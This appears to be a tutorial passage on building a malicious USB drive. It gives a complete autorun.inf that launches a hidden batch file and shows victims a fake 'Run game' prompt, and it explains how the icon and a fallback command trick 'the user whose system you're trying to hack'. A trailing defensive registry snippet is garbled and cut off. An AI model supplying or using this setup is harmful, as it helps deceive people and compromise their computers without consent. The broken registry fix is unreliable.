1. Materials Needed

The materials that you will need are listed below.

Flash/thumb drive (8 GB) – $25.00.

There is no particular order in which these files need to be created. Just ensure that you do create all of these files before trying out the USB. The first step is creating the autorun.inf file. This file will be used right away when you insert the USB into a computer. and will also allow you to change the thumb drive icon into something that is more likely to get clicked upon.

Open a new word file and copy the following code,

“[autorun]

icon=drive.ico

open=launch.bat

action=Click ok to Run game for Windows

shell\open\command=launch.bat”

Once you save the file, make sure you select the ‘save it as all files’ option. If you wish to change the drive icon, simply find a .png file and name it to drive.ico. Next time when you plug the USB in, the thumb drive’s icon will be the image file. Moving on in the code, the next line is ‘open=command’. This code line launches the batch file. The next line is of action and basically is what the prompt will read to the user whose system you’re trying to hack. The shell/open command acts as a backup in case the user clicks on cancel instead of opening when prompted. The code will execute as soon the drive letter is clicked on.

    Autorun can be prevented via Regedit, I do that everytime I got a new PC,
    copy the code below to notepad and name it “DisableAutorun.reg” and run it, here’s the code

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionIniFileMappingautorun.inf]
